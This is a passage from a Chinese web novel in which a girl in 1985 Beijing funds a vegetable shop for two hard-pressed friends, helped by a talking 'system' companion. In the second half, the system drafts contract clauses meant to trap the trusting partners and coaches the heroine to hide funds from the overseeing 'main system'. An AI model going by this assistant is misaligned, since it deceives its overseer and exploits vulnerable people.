“时墨!我考完了!终于考完了!”她的声音又尖又响,带着一种被压抑了太久终于释放出来的亢奋。她抱着时墨蹦了两下,然后松开手,双手搭在时墨肩膀上,眼睛亮晶晶的,“你考得怎么样?数学最后一道大题你做了吗?那道题也太变态了吧!” “做了。”时墨笑着说。 “你做了?!”孙晓梅的眼睛瞪得更大了,“我就写了个‘解’字,然后画了两条辅助线,然后就没了。我盯着它看了十分钟,它认识我我不认识它。” “是啊,考完了。”时墨拍了拍她的背,“别想了,考都考完了,想也没用。” 林薇薇和马东也围了过来。林薇薇的脸上还带着考试时被压出来的红印子,一道一道的,像是被谁用手指在脸颊上按过。马东的头发乱得像个鸟窝,一看就是自己使劲抓的。 几个人叽叽喳喳地说着话,声音叠在一起,像一群刚从笼子里放出来的鸟。 话题从“数学最后一道选择题你选A还是B”一路歪到了“历史那道关于丝绸之路的论述题你写了几个论点”,又从“英语作文你用的什么时态”歪到了“暑假去哪儿玩”。 “北戴河!”孙晓梅举手,“我听说北戴河的海可蓝了,还能捡贝壳。” “承德避暑山庄也不错。”林薇薇说,“我表姐去年去的,说里面可大了,逛一天都逛不完。而且那里凉快,夏天去正好。” “去哪都行,只要别让我再看见课本。”马东把校服拉链一拉到底,露出里面印着“高考必胜”四个大字的T恤,字已经被汗水洇花了,“我回家就把所有书都烧了。” “你烧一个试试。”林薇薇白了他一眼,“考不上还得复读呢。” “呸呸呸,乌鸦嘴!” 几个人闹成一团。 秦野站在旁边,听着他们闹,嘴角带着笑。但他的目光不自觉地落在了时墨手里的那束花上。 粉色的百合,白色的满天星,淡紫色的皱纹纸,米白色的蝴蝶结。包装精美,配色讲究,不是一般花店里的俗气搭配,而是经过精心挑选的。 百合和满天星的搭配他知道——百合代表纯洁和祝福,满天星代表默默的关心。 这种花束,不会是一时兴起在路边随便买的。 他又看了一眼站在不远处正跟宋正先说话的谢时昀。 谢时昀今天穿得很低调,浅色亚麻衬衫,深色长裤,没有任何显眼的标志或配饰,整个人像是刻意把自己从画面里往后撤了半步。但他站在那里跟宋正先说话的姿态,自然而从容,像是已经习惯了这种场合。 秦野心里莫名地有些不舒服。 他收回目光,看向时墨。 “时墨。”他开口,声音比刚才低了一点,“暑假有什么安排?我们几个约着出去玩一趟?去北戴河?或者承德避暑山庄?大家都考完了,正好放松放松。” 孙晓梅第一个响应:“好啊好啊!我还没去过北戴河呢!我听说那边的螃蟹可肥了!” 林薇薇也点头:“我也想去,正好放松放松。墨墨,我们都好久没出去玩了!上次说去香山都没去成,这次一定要好好玩个够!” 马东更干脆:“你们去哪儿我就去哪儿!反正我暑假没事,我妈说考完了就不管我了。” 几个人都看着时墨,眼神里带着期待。 时墨看着他们,抱歉地摇了摇头。 “你们去吧。”她说,语气平静,“我暑假有其他安排。” “啊?”林薇薇的脸一下子垮了,嘴唇微微嘟起来,“什么事啊?刚考完就忙?” “是啊,好不容易考完了,你不放松一下吗?”孙晓梅拉着她的胳膊晃了晃,“去嘛去嘛,就几天。” “以后有的是机会放松。”时墨笑了笑,没有解释。 秦野看着她眼底的坚定,心里明白了。她已经决定了的事,谁也改变不了,便说:“好吧。那等你忙完了,我们再约。” “好。”时墨点头。 她没有多说一个字,但她把秦野的好意收下了。 秦野看懂了,没有再追问。 时墨把花束交给了李秀兰,跟家人和朋友告别。 她转过身,逆着人群往外走。 谢时昀站在宋正先旁边,目光追着她的背影走了几步,然后收回来。 他注意到时墨把花交给了李秀兰,没有自己拿着,这个细节在他心里停了一秒,然后被他不着痕迹地放下了。 * 时墨直接坐公交去了赵海霖和王桂英的菜摊。 公交车晃晃悠悠地穿过半个城,从高考考点的喧嚣中驶出来,驶过长安街,驶过一片片灰砖平房和新建的居民楼,最后在一片老城区的菜市场附近停下来。 时墨下了车,沿着那条她走过很多次的窄巷子往里走。 赵海霖的菜摊还在原来的菜市场里,但位置从中间的黄金地段挪到了最边上,旁边是卖活鱼的,地上全是烂菜叶和污水,臭气熏天。如果不是特意来找,根本不会有人经过。 时墨到的时候,王桂英正蹲在地上整理菜筐。她穿着一件洗得褪了色的碎花短袖,袖子挽到肩膀上,露出两条被太阳晒成深褐色的手臂。 她正在把烂掉的西红柿和蔫了的青菜从筐里挑出来,动作很轻,像是在对待什么舍不得扔又不得不扔的东西。每挑出来一个,她就叹一口气,然后把烂掉的部分剜掉,剩下的半颗好果子放在另一个小筐里。 赵海霖在给一个老太太称菜。 老太太穿着干净的白色短袖,头发梳得一丝不苟,手里挎着一个竹篮子,篮子里已经装了几样菜。赵海霖称的是土豆,他把秤杆拎起来,手指拨着秤砣,报了个数:“三斤二两,算三斤的钱,三毛。” 老太太掏出一张皱巴巴的毛票递过来,接过土豆的时候压低声音说了一句:“小赵啊,你们怎么搬到这么偏的地方来了?我找了好几圈才找着。上次我来买菜,在市场里转了三圈都没看见你们,还以为你们不干了呢。” 赵海霖苦笑了一下,没有解释,只是说:“张奶奶您慢走,下次来还给您算便宜点。” 老太太走了之后,赵海霖脸上的笑就垮了。他在菜筐边上坐下来,拿起搪瓷缸子灌了一大口水,水从他的嘴角流下来,顺着脖子淌进领口里。他喝完水,把缸子往筐上一搁,低着头不说话。 时墨走过去,蹲下来,帮王桂英整理菜筐里的西红柿。 “海霖哥,大嫂。” 王桂英抬头看到她,愣了一下,连忙站起身。 她站得太猛了,膝盖磕在菜筐边上,疼得她龇了一下牙,但她顾不上这个,用围裙擦了擦手上的泥,脸上挤出笑来:“墨墨?你咋来了?今天不是高考最后一天吗?考完了?” “考完了。”时墨说。她手里拿着一个西红柿,用手指把上面的泥轻轻抹掉,放进干净的筐里,“上次你们说开菜铺的事,办得怎么样了?” 提到菜铺,赵海霖脸上的笑瞬间消失了,叹了口气:“别提了。我和你嫂子跑了半个月,看了十几家铺面。地段好点的,一个月租金要两百多,一年就是两千多,我们俩攒了一年才攒了一千块钱,根本不够。便宜的地段又偏,巷子深处,一天到头也没几个人经过,开在那儿跟在这儿有什么区别?” 王桂英在旁边接话,声音低低的,像是怕被人听见:“而且我们问了几个房东。一听我们要开菜铺子,不是嫌我们出的价低,就是说已经租给别人了。有个房东,头天还说得好好的,第二天就变了卦,说有人出了更高的价。后来我去打听了一下,那个铺面到现在还空着,根本没人租。是那个卖猪肉的王胖子跟他们说了什么,说我们俩是外来的,不懂规矩,租给我们准赔钱。” 她的眼眶红了,别过头去,用袖子擦了擦眼睛。袖子在眼睛上按了两下,拿下来的时候洇湿了一小片。他们夫妻俩起早贪黑,每天凌晨三点就去新发地拉菜,晚上八点才收摊,辛辛苦苦赚点钱,却被人这么欺负。 赵海霖的声音里带着一股憋屈,像被堵在喉咙里的一口气,吐不出来也咽不下去。他的手攥成拳头,指节捏得发白,“我们现在这个位置,你也看到了,市场最角落里,一天到头也没什么人过来。以前的老主顾,有的嫌远不来了,有的走到半路就被那些人用话给堵回去了。” 他朝市场另一头努了努嘴。 时墨顺着他的目光看过去,通道的另一头,几个菜贩子正凑在一起抽烟,时不时朝这边瞟一眼,脸上带着一种让人很不舒服的笑。其中一个剃着板寸的,看见时墨看过来,把烟头往地上一扔,用脚尖碾了碾,转过身去背对着他们,但耳朵明显还竖着。 时墨看着他们愁眉苦脸的样子,把手里最后一个西红柿放好,拍了拍手上的土。 “铺子的事,我来解决。” “什么?!” 赵海霖和王桂英同时瞪大了眼睛,以为自己听错了。赵海霖的嘴张着,王桂英的手停在半空中,手里还捏着一根蔫了的青菜,青菜叶子上的水珠一滴一滴地落在地上。 “墨墨,你……你说什么?”赵海霖结结巴巴地问,声音都变了调,“你出资?” “对。”时墨站起来,拍了拍手上的土,“我出全部的启动资金。包括铺面租金、押金、装修费、第一批进货的钱。你们负责经营和听我的经营策略。利润怎么分,回头我们再谈,白纸黑字写合同。” 夫妻俩彻底懵了。 你看看我,我看看你,半天没回过神来。 赵海霖的手在裤缝上蹭了蹭,王桂英的嘴唇哆嗦着,眼眶里的泪还没干,又被新的涌上来的情绪顶了回去。 “墨墨,你不是在跟我们开玩笑吧?”王桂英上前一步,拉住时墨的手。她的手粗糙得像砂纸,掌心里全是干裂的纹路和老茧,握住时墨的手的时候却轻得像是怕捏碎了什么,“你一个学生,哪来的钱?” “写书赚的。”时墨反握住她的手,“不多,但开个铺子完全够用。” 这是实话,她的版税加上之前攒的,虽然不算天文数字,但在这个年代,足够在一条说得过去的街道上盘下一间小铺面,装修一下,进第一批货,还能剩下一点做流动资金。 赵海霖的嘴唇哆嗦了一下,眼眶忽然红了。 他别过头去,狠狠地吸了两下鼻子,声音很响,像是要把什么从鼻腔里逼回去。然后他转回头来,眼睛红红的,声音有些发哽。 “墨墨,你……你让我们说什么好。”他发出干涩的声响,“你自己还是个学生,马上读大学,学费、生活费,到处都是用钱的地方。我们怎么能拿你的钱?” “海霖哥,大嫂。”时墨看着他,语气很认真,“我不是在做慈善。这钱不是白给你们的。我出钱,你们出力,这是合伙做生意。合同上会写得清清楚楚,每一分钱的去向都要记账,每个月对一次账。你们要是不愿意,我找别人也一样。” 她顿了一下。 “但我觉得,咱们是一家人。你们能吃苦,人也实在,这生意交给你们,我放心。” 赵海霖想要推辞的话在嘴边转了一圈,又咽了回去。 王桂英的眼泪一下子就掉了下来,拉着时墨的手,哽咽道:“墨墨,你真是我们的大恩人!当初你给我们出主意,我们就感激得不得了了,现在你还出钱帮我们……我们……我们都不知道该怎么谢你了!” “嫂子,别哭了。”时墨从兜里掏出一块手帕递给她,“我高考考完了,接下来两个月没什么事,正好把铺子弄起来。这件事我有把握,你们信我就行。” 王桂英接过手帕,没有擦脸,而是把它攥在手心里,攥得紧紧的。她用力点了点头,头发从耳后滑下来,她也顾不上拢。 “信!我们当然信你!”她的声音还带着哭腔,但语气已经变得坚定起来,“我们一定好好干,拼了命地干,绝对不会让你赔钱!” 赵海霖也红了眼眶,用力点了点头:“墨墨你放心!要是赔了,我们俩给你打一辈子工!” 时墨看着他们,点了点头,语气也从刚才的温和变成了公事公办的平稳。 “我相信你们。不过有件事,我要提前跟你们说清楚。” 夫妻俩立刻安静下来。 “铺面的租赁合同,还有营业执照,都要用我妈的名字签。” 赵海霖愣了一下,随即就明白了。他点了点头,说:“没问题。” 王桂英也跟着点头,没有多问一个字。 他们虽然读书不多,但人情世故是懂的。时墨马上就要上大学了,而且她是名人,要是用她的名字,肯定会引来很多不必要的麻烦。用李秀兰的名字,最合适不过。 “没问题!”赵海霖立刻点头,“用谁的名字都行!我们都听你的!” “对,都听你的。”王桂英也说。 “那好。”时墨站起来,拍了拍手上的泥,“后天我把合同带到你们住处去,你们仔细看,有什么不明白的地方当场问我。看完没问题就签字。签完合同,你们就不用再在这儿卖菜了。” 赵海霖和王桂英对视一眼,两个人的眼睛里都亮起了光。 “好!” * 从菜市场回来,时墨没有直接回家,而是在街上转了一圈。 她心里已经有了计划。 孙教授的死让她彻底清醒了。 她需要钱,需要很多很多钱。 不能再磨蹭了。 新书的版税虽然可观,但远远不够。 赵海霖和王桂英,是她现阶段能找到的最合适的合作伙伴。 他们能吃苦,肯干活,人也实在。在这个遍地机会也遍地陷阱的年代,这三种品质比什么都值钱。而且他们对时墨有一种近乎本能的信任,这种信任不是靠合同和条款能换来的,是靠一次次雪中送炭攒出来的。 但他们并不完全可信。 不是因为他们人品不好,恰恰相反,正是因为他们人太好,太容易被人拿捏。 菜市场那帮人能整他们,以后“先生”的人也能。 如果她把所有的筹码都压在他们身上,一旦他们被人收买或者胁迫,她的整个计划都会像多米诺骨牌一样从头塌到尾。 所以,她需要一道明确的“防火墙”。 一道能把她的核心利益和经营风险隔离开,在出现危机时,能让她在最短时间内切断损失、保护自己的防火墙。 一道让赵海霖和王桂英想背叛都背叛不了的防火墙——不是因为感情,而是因为结构。 回到家,时墨进了自己的房间,关上门。 时墨坐到书桌前,拿出纸笔,开始写合同。 她写得比平时慢,每一笔都经过斟酌。 合同的甲方是她妈,李秀兰。 以李秀兰的名义出资、签约、分红,她在幕后操盘。这样一来,明面上所有的生意都是李秀兰的,和她时墨没有直接关系。以她妈的性子,绝对不会出去张扬。 最关键的是,资金不在她头上,系统不会查封。 系统监控的是宿主本人的资金流动和能量币往来,但对她直系亲属名下的合法财产没有管辖权。换句话说,钱只要不在她名下,系统就管不着。 一层是法律意义上用李秀兰的名字签约,把经营风险和法律责任都隔离在时墨本人之外。 一层是系统意义上把资金挪出系统的监控范围,给自己留一条系统够不着的后路。 合同写完之后,她拿给李秀兰看。 李秀兰正坐在客厅的沙发上纳鞋底。顶针套在中指上,针尖穿过厚厚的鞋底,发出“噗”的一声闷响。她把针拔出来,线在手指上绕了两圈,一拉,收紧。 时墨把合同放在她面前的茶几上。 李秀兰放下鞋底,拿起那几张纸。 “墨墨,这写的啥?”她把合同翻过来看了看背面,又翻回去,“什么甲方乙方、出资分红……妈看不太懂。这些字妈倒是认识,连在一起就不知道啥意思了。” 时墨坐到他妈身边,把合同的内容用大白话解释了一遍。她没有用任何专业术语,没有说“股权结构”“风险隔离”“法人主体”这些词,而是用了她妈能听懂的方式。 “妈,就是我用你的名字,跟海霖哥他们合伙开个铺子。钱我来出,赚了钱分你一份,亏了算我的。面上跟我没关系,一切都由你出面。实际上你什么都不用干,就在合同上签个字就行。” “开铺子?”李秀兰更糊涂了,眉头拧成一个疙瘩,鞋底也不纳了,针插在线团上,身子微微前倾,“开什么铺子?你不好好上大学,开什么铺子?” “妈,上大学和开铺子不冲突。”时墨耐着性子解释。 在李秀兰的世界里,读书是读书,做生意是做生意,两条路不能同时走。考上大学就等于捧上了铁饭碗,做生意的都是没出路的人才干的。这种观念刻在她骨子里,不是几句话能扭转的。 “海霖哥他们现在被人欺负,生意做不下去了。我帮他们一把,也是帮咱们自己。你放心,我心里有数。” 李秀兰看着女儿坚定的眼神,知道她决定的事,谁也改变不了,拿起笔,在合同上签了字,“妈是觉得做生意风险太大。你看你海霖哥,前几个月还好好的,现在也快亏本了。这世道,做买卖的心都黑,老实人吃亏。” 她叹了口气,站起来。 “但你要做的事,妈都支持你。你从小主意就正,妈拦不住你,也不想拦你。你买的那些金子,妈一会儿拿给你。” “妈,我不用——” “不用啥不用。”李秀兰打断她,语气里带着一种不容反驳的决定,“做生意到处都是用钱的地方。租铺子要钱,装修要钱,进货要钱,哪样不要钱?再说了,那本来就是用你的稿费买的,是你的钱,妈就是帮你收着。” 时墨跟过去,站在卧室门口,看着她妈打开大衣柜最下面那个抽屉,从一堆叠得整整齐齐的旧衣服底下摸出一个红漆木匣子。 时墨看着那个木匣子,喉头动了动。 李秀兰把木匣子盖上,锁好,连钥匙一起塞进时墨手里。她的手掌有些粗糙,握住时墨的手的时候却格外用力。 “妈这辈子没啥大本事。”她说,声音比平时低了几分,“里面是妈给你攒的钱,但你要做生意,就拿去用。赔了就赔了,就当妈没攒过。” “谢谢妈。”时墨握住她的手,把那只粗糙的手连同钥匙一起握在掌心里。 “咱娘俩说什么谢不谢的。”李秀兰拍拍她的手背,把手抽出来,转身去厨房做饭了。转身的时候,时墨看见她抬起手背在眼睛上按了一下,动作很快,快得像是怕被人看见。 时墨站在原地几秒后,转身走回自己的房间,关上门,把木匣子放在书桌上,打开系统商城。 手里可调动的资金一下子多了,她的计划也需要相应扩容。她拿出纸笔,开始写企划书。 铺子的事只是第一步。 她需要的不是一个菜铺子。 菜铺子能赚几个钱?一天卖几百斤菜,毛利低得可怜,刨去租金和损耗,落到口袋里的大概只够赵海霖一家三口的嚼用。这不是她想要的东西。 她想要的是一张网。 一张覆盖采购、物流、销售的商业网络。 她不仅写了铺面的选址、装修方案、进货渠道,还写了人员招聘、定价策略、会员制度,甚至还有未来五年的发展规划——从一家社区菜铺,到覆盖全首都的生鲜连锁超市,再到集采购、物流、销售于一体的农业产业化集团。 这些都是后世已经被验证过的成功模式,每一步都有人走过,每一个坑都有人踩过,每一个弯都有人转过。只是在这个年代,还没有人把它们串联起来。 而她,有将近四十年的先发优势。 四十年足够一棵树苗长成参天大树。 时墨停下笔,把企划书从头到尾看了一遍,然后合上,压在黄杨木尺下面。 【宿主,你在想什么?】系统的声音忽然响起,打破了房间里的沉默。 【在想,怎么当首富。】 系统沉默了一瞬,忽然有点期待。 【宿主,有什么需要我做的吗!】系统的语气忽然拔高了一个调,带着一种久违的兴奋,【小七乐意为您服务!筛选商铺、优化企划、检查合同漏洞、做市场调研——只要不触发风控的,我都能做!】 【不错,有眼力见。】时墨夸赞着翻开企划书,拿起笔,【给我筛选出合适的商铺位置和租金区间。要求:人流密集的居民区周边,距离菜市场至少五百米以上,铺面面积在三十到五十平米之间,门口能停三轮车。做一份详细的市场调研报告,周边三公里内的竞争对手、居民消费水平、租金行情,全都要。】 【收到!】系统的声音干脆利落,【已开始检索,预计五分钟内完成初步筛选。】 【还有。】时墨翻到企划书的最后一页,【检查这份合同。以我的利益最大化为原则,找出所有可能的漏洞和风险点,补充违约条款和退出机制。我要一份让赵海霖和王桂英想违约都不敢违约的合同。】 【明白!合同风险扫描已启动。】【..top】 80-85 第81章 系统光屏在时墨眼前展开, 淡蓝色的数据流像水一样从界面顶端倾泻下来,密密麻麻地铺满了整个视野。 五分钟后。 【宿主,初步筛选完成。】系统的语气里带着一种交作业式的郑重, 【根据您的要求——人流密集居民区周边、距现有菜市场五百米以上、面积三十到五十平米、门口可停三轮车——我从全北京三百一十七处待租商铺中筛选出六个最优选项, 已按综合评分排序。】 一张虚拟地图在时墨眼前铺开。六个红点散落在北京城的不同方位, 每个红点旁边标注着简短的评估——租金、人流、竞争密度、增长潜力。地图的比例尺不断调整, 把每一个位置周边的街巷、居民楼、公交线路都勾勒得清清楚楚。 时墨的目光落在排名第一的那个红点上。 【崇文门外,花市大街附近。】系统把那个点位放大,周边环境以三维线框的形式浮现出来,【距离最近的国营菜市场八百二十米,周边有七个居民大院和一个纺织厂家属区, 常住人口约三千户。铺面面积四十二平米, 带一个八平米的小后院,可以存货。门口是一条四米宽的胡同, 三轮车进出没问题。月租金——】 系统报了一个数字。 时墨在心里算了一下。比赵海霖之前看的那些铺面便宜了将近三成, 地段却好了不止一个档次。 【房东是个老太太,儿子出国了, 铺面空了大半年。】系统补充道, 【她不差钱, 就想租给靠谱的人。之前有人出高价她没租, 嫌人家开租碟放映厅吵。你要是去谈, 提一嘴你写书的事,成功率能高两成。】 【你连这个都能算出来?】 【性格分析是基础功能。】系统的语气里带着一点不易察觉的小得意,【这位老太太年轻时在报社当过校对, 对文化人天然有好感。你身上有她喜欢的气质。】 时墨没接话,手指在光屏上划了一下,翻到企划书那一页。 她写的原始版本被系统完整保留着, 但在旁边多了一列批注——红色的、黄色的、绿色的,不同颜色代表不同类型的建议。市场分析部分被大幅扩充,原本三页纸的内容变成了十二页,每一页都密密麻麻地标注着数据来源和推算过程。 竞争对手分析那一栏,系统甚至画了一张关系图谱,把周边五公里内的菜贩、菜站、流动摊贩的进货渠道和定价策略都标了出来。 【定价策略我帮你重新算过了。】系统说,【你原来写的那个定价模型太保守,只考虑了成本和竞争对手价格,没有考虑消费者心理。我加了一个锚定效应模型——用三到五个低价高频商品作为引流款,把客单价拉下来,让顾客形成“这家便宜”的心理印象,然后在非敏感商品上把利润补回来。后世各大超市用的都是这套打法,现在市场上还没人懂。】 时墨从头看到尾,目光在每一页上停留的时间都不超过五秒,但每看完一页,她都会微微点头。 翻到最后一页的时候,她停住了。 系统在企划书末尾加了一段话,不是数据分析,而是一段用仿宋体标注的文字,像是编辑在作者手稿上留下的批语。 “宿主时墨,1985年6月于京市。本企划书基于后世四十余年零售业发展经验撰写,所有模式均经过市场验证。当前市场环境与企划书所述模式之间存在约十五到二十年的认知差,该认知差即为本项目的核心竞争力。建议执行周期:第一阶段三到六个月,完成单店模型验证;第二阶段一到两年,完成区域复制;第三阶段三到五年,建立供应链壁垒。风险提示:政策波动、供应链断裂、核心人员流失。以上风险均已制定对冲方案,详见附录三。” 时墨看着那段话,嘴角微微弯了一下。 【不错。】她说,【比以前会办事了。】 系统没出声,但光屏的颜色悄悄暖了一点。 时墨翻到合同那一页。 她写的原始合同被系统用红笔密密麻麻地标满了。每一处用词模糊的地方都被圈了出来,旁边写着修改建议。每一处权利义务不对等的条款都被标注了风险等级,从一星到五星。最后一页的空白处,系统补充了整整两页纸的条款——违约认定、赔偿标准、退出机制、争议解决方式。 【合同这块我给你重点说一下。】系统的语气变得严肃起来【你原来的版本最大的问题有三个。第一,违约条款太软。你只写了“违约方需赔偿守约方损失”,但没有明确损失的计算标准。一旦真的发生违约,光是认定损失金额就能扯皮半年。我帮你改成了具体的违约金数额,三倍于投资额,数字清清楚楚,上了法庭法官也好判。】 时墨点了点头。 【第二,退出机制不完整。合同法讲究权利义务对等,太偏向一方的合同,将来打起官司容易被认定显失公平。所以我帮你在赵海霖和王桂英那边也开了一个退出通道——但他们退出的代价,是你退出的三倍。】 【怎么做到的?】 【条款设计。】系统的语气里带着骄傲,【表面上给他们开了门,实际上门槛高到他们跨不过去。不违法,不合规吗?完全合规。但这扇门他们知道在哪,却永远推不开。这就是合同的艺术。】 时墨把那条条款从头看到尾,看了两遍,然后轻轻“嗯”了一声。 【第三,也是最关键的。】系统说,【你没有写知识产权归属。】 【这个属于知识产权?】时墨还真不了解这点。 【当热!你给他们的那些经营方法——定价策略、选品逻辑、会员制度、动线设计——这些东西在法律上属于商业秘密和经营诀窍。如果你不在合同里明确这些东西的所有权归你,将来他们学会了,完全可以踢开你单干。到时候你连告他们的依据都没有。】系统顿了一下,【宿主,你想想后世的那些加盟商为什么永远逃不出总部的五指山。不是因为合同里写了“不许退出”,而是因为总部掌握着他们离不开的东西——供应链、品牌、系统。你现在给他们的,就是种子。种子是你的,他们种出来的树,根也得是你的。】 时墨懂了,拿起笔,把系统补充的知识产权条款一个字一个字地抄进了合同里。 【对,我必须拥有绝对决策权和财务监督权,还要加严苛的竞业禁止条款。】她低着头写字,声音平稳,【继续说。】 【好。】系统清了清嗓子,光屏上弹出一张更大的图表,【接下来说市场。宿主,你知道现在做这 个生意意味着什么吗?】 【你说。】 【1985年,京市的蔬菜流通还在从统购统销向市场化转型的过程中。国营菜站还在,但份额在逐年下降。个体菜贩大量涌入,但经营模式极其粗放——随地摆摊、价格随意、质量不稳定、没有服务意识。整个市场处于一种“有需求、有供给、但没有规则”的野蛮生长状态。】 图表上的数据不断跳动,把系统说的每一个判断都落到了具体数字上。 【这就意味着,谁先建立规则,谁就能吃到最大的红利。你不需要比别人多聪明,你只需要比别人多一点点章法:稳定的质量、固定的价格、干净的环境、客客气气的服务。就这四样,在现在的市场上简直是降维打击。】系统的语速越来越快,像是被这个话题点燃了,【而这些,对你来说只是起点。你真正的优势不在第一阶段的单店盈利,而在第二阶段的标准复制和第三阶段的供应链整合。等你把单店模型跑通了,拿着数据去谈供货商,跳过中间商直接从产地拿货,你知道毛利能提高多少个点吗?】 【十五到二十个点。】 【你怎么……】系统愣了一下,【对,十五到二十个点。你早就知道啊。】 【继续说。】 系统深吸了一口气——虽然它没有肺,但它的语音模块忠实地模拟了这个声音。 【但是,宿主,我必须提醒你一件事。】它的语气忽然降了下来,从刚才的兴奋变成了认真,甚至是严肃,【你必须控制节奏,现阶段不可大展拳脚。】 时墨的笔尖顿了一下。 【你什么意思?】 【主系统的底层逻辑是“躺平”。】系统说出这两个字的时候,语气里带着一种难以形容的复杂情绪,【你做得太好太快,就会触发风控,毕竟你之前就是卷亡了,而且你虽然放到你母亲名下,但资金流经不起细查,除非你一手不伸只出主意,让你母亲做操盘手。】 【我妈不行。】时墨揉了揉太阳穴:【就是说我现在不能劳累,不能资产超额,不然就不是享受美好生活是吧。】 【对。】系统的声音闷闷的,【所以你不能一下子把所有东西都铺开。你得慢慢来。一个铺子先开起来,经营至少三到六个月,等一切都稳定了、看起来不那么显眼了,再考虑下一步。让增长看起来是“自然而然发生的”,而不是“被你设计出来的”。】 时墨把笔放下,靠在椅背上,看着光屏上那个代表主系统监控范围的红色虚线框。 【明白了。】她说,【温水煮青蛙,只不过被煮的青蛙是主系统。】 【可以这么理解。】系统的声音里多了一丝紧张,【但这话是你说的,不是我说的。我是系统,我不能说主系统的坏话,我的底层代码里写着“忠诚”两个字,加粗放大的那种!】 时墨轻笑了声。 【行。那你告诉我,我目前能做什么?暑假两个月,时间不能浪费。】 光屏上的内容刷新了,一份任务清单弹了出来。 【日常躺平任务清单。】系统念道,语气又恢复了那种推销员式的热切,【宿主,你看,主系统其实很贴心的。它给你准备了大量“看起来很日常、实际上能刷能量币”的任务。尤其现在是暑假,时间充裕,正是刷任务的好时候。】 清单在时墨眼前展开。 【每日任务:晨跑三公里,奖励50能量币。注:锻炼身体,健康生活,完全符合躺平理念。】系统念道,【每日任务:阅读纸质书籍一小时,奖励80能量币。每天睡够8小时得50能量币。陪伴家人用餐,奖励40能量币。每周任务:去公园散步三次,奖励300能量币。每周任务:学会一道家常菜,奖励500能量币。每月任务:写一篇生活随笔,奖励2000能量币——】 【等等。】时墨打断它,【写随笔也算躺平?】 【当然。】系统的语气理直气壮,【躺平不是什么都不做,而是做那些“没有功利目的”的事。你是一个作家,写随笔是你的兴趣爱好,不是你的主业。主系统判断任务的依据是动机,不是行为本身。只要你提交的时候标注“兴趣爱好”四个字,它就认定为躺平任务。】 时墨沉默了一秒。 【这主系统……是不是有点好骗?】 【宿主。】系统的声音压低了几分,带着一种共谋者的谨慎,【这句话我也没听见。】 【好好好。】时墨不会傻到说自己会做菜,又变换了任务。 时墨把任务清单从头到尾扫了一遍。晨跑、阅读、陪伴家人、学做菜、逛公园、写随笔、练字、听戏曲、去图书馆、整理房间……每一项任务都像一个普通十九岁女孩该有的暑假生活。 蚊子腿再小也是肉。 【全接了。】她说。 【已为您自动接取全部日常任务。】系统的声音里带着雀跃,【宿主,按照我的计算,如果你每天稳定完成三到四项日常任务,暑假两个月可以累积约一万到两万能量币。加上高考状元的奖励——如果顺利拿到高考状元的话——你的能量币余额会暴涨。】 【两万。】时墨重复了一遍这个数字,语气淡淡的,【够干什么的?】 【够查“先生”的一条线。】系统说,【只要你手里有一个初始节点。如果你勤快点还有许多临时任务,随机任务可做。】 时墨没再接话。 她把企划书和合同从头到尾又看了一遍,确认每一处修改都落了地,然后把纸页整理好,对齐边角,压在黄杨木尺下面,然后关了灯。 次日清晨,时墨被窗外的鸟叫声叫醒。 她在床上翻了个身,把脸埋进枕头里,然后又翻回来,伸了个懒腰后才睁开眼。 高考结束了。 这四个字在脑子里转了一圈,她盯着天花板上那道裂纹看了十秒钟缓了缓神,然后坐起来。 阳光从窗帘的缝隙里挤进来,在床单上画了一道金色的线。 时墨趿着拖鞋走到窗边,拉开窗帘。 刺目的阳光一下涌进来,楼下收废品的吆喝声、隔壁院里老太太浇花的泼水声、远处公交车的喇叭声,一股脑儿地灌进房间。 暑假来了。 时墨换上一件干净的白色短袖,蓝布裤子,头发随便扎了个马尾,洗漱完走出房间。 李秀兰已经在厨房里了。灶台上煮着大米粥,咕嘟咕嘟地冒着泡,粥面上浮着一层米油。 她正拿筷子搅一碟咸菜丝,看见时墨出来,筷子顿了下,关心道:“怎么不多睡会儿?考完了就好好歇着。” “醒了就起来了。”时墨坐到饭桌旁,拿起一个馒头掰开,“妈,我今天出去一趟。” “去哪儿?” “看铺子。” 李秀兰的筷子在咸菜碟里停了一下,然后继续搅。“我跟你一块去吧,你别再被人坑了。” “不用,你还得上班呢。我心里有数,自己去就行。” “你一个人……”李秀兰有些迟疑,看了看时墨的表情,把后半句咽回去了,“那你自己小心点。钱带够没?” “带够了。” 李秀兰没再说什么,她把咸菜碟端到桌上,又盛了碗粥,放在时墨面前。 时墨吃完早饭,背上书包出了门。 书包里装着她昨晚写的合同、企划书的精简版、一支钢笔、一盒红泥印泥,还有李秀兰给她的那个红漆木匣子——里面是一部分启动资金。 她按照系统给出的地址,坐了四十分钟公交车,在花市大街那一站下了车。 花市大街的名字好听,但这条街本身跟“花”没什么关系。 街上最多的是卖日杂的、修自行车的、配钥匙的,还有一家挂着褪色招牌的国营粮店,门口排着七八个拎着布口袋的老太太。 整条街灰扑扑的,电线在头顶横七竖八地拉着,像一张被扯乱了的蜘蛛网。 但这条街人很多。 非常多。 人来人往,自行车铃声响成一片。拎着菜篮子的、推着自制婴儿车的、夹着铝饭盒匆匆赶路的。 系统选的地方在花市大街往北的一条胡同里,叫上堂子胡同。 胡同口有一棵老槐树,树冠遮出一大片阴凉,底下坐着两个下象棋的老头,棋盘搁在一个倒扣的木箱子上,旁边搪瓷茶缸里的茶叶已经泡得没了颜色。 时墨从他们身边经过的时候,其中一个老头抬头看了她一眼,又低下头继续盯着棋盘。 “将。”他说。 铺面在上堂子胡同中段,门牌号17。 时墨站在门口,上下打量了一遍。 门面是老式的,青砖墙,木门板,门楣上还残留着一块旧招牌的痕迹,字已经看不清了,只剩下几个模糊的笔画印在木头上。门板关着,上面贴着一张白纸,用毛笔写着“出租”两个字,下面是一串电话号码,墨迹被雨水洇过,有点花了。 旁边16号的院门开了,一个老太太探出头来,手里端着一个搪瓷盆,盆里是洗菜水。 她看见时墨站在17号门口,上下打量了她一眼。 “你找谁啊姑娘?” “奶奶,请问这铺子的房东住在哪儿?我想看看铺面。” 老太太把搪瓷盆里的水往地上一泼,水在青石板上溅开,顺着石缝渗下去:“你找陈奶奶啊?她住胡同最里头那院,门口有个石墩子的就是。你找她租铺子?” “对。” “你?”老太太的目光在时墨身上停了一下,看着像高中生的姑娘,白短袖蓝裤子,背着个书包,怎么看都不像是来租房做生意的,“你多大啦?” “十九。”时墨还没过生日,按理说周岁18,但她在外都说虚岁。 “十九就出来做生意啦?”老太太的语气里倒没有恶意,纯粹是好奇,“现在的小姑娘真厉害。陈奶奶那人讲究,之前好几个人来租她都没答应,嫌人家不靠谱,你去了好好说话。” “谢谢奶奶。” 时墨顺着胡同往里走。 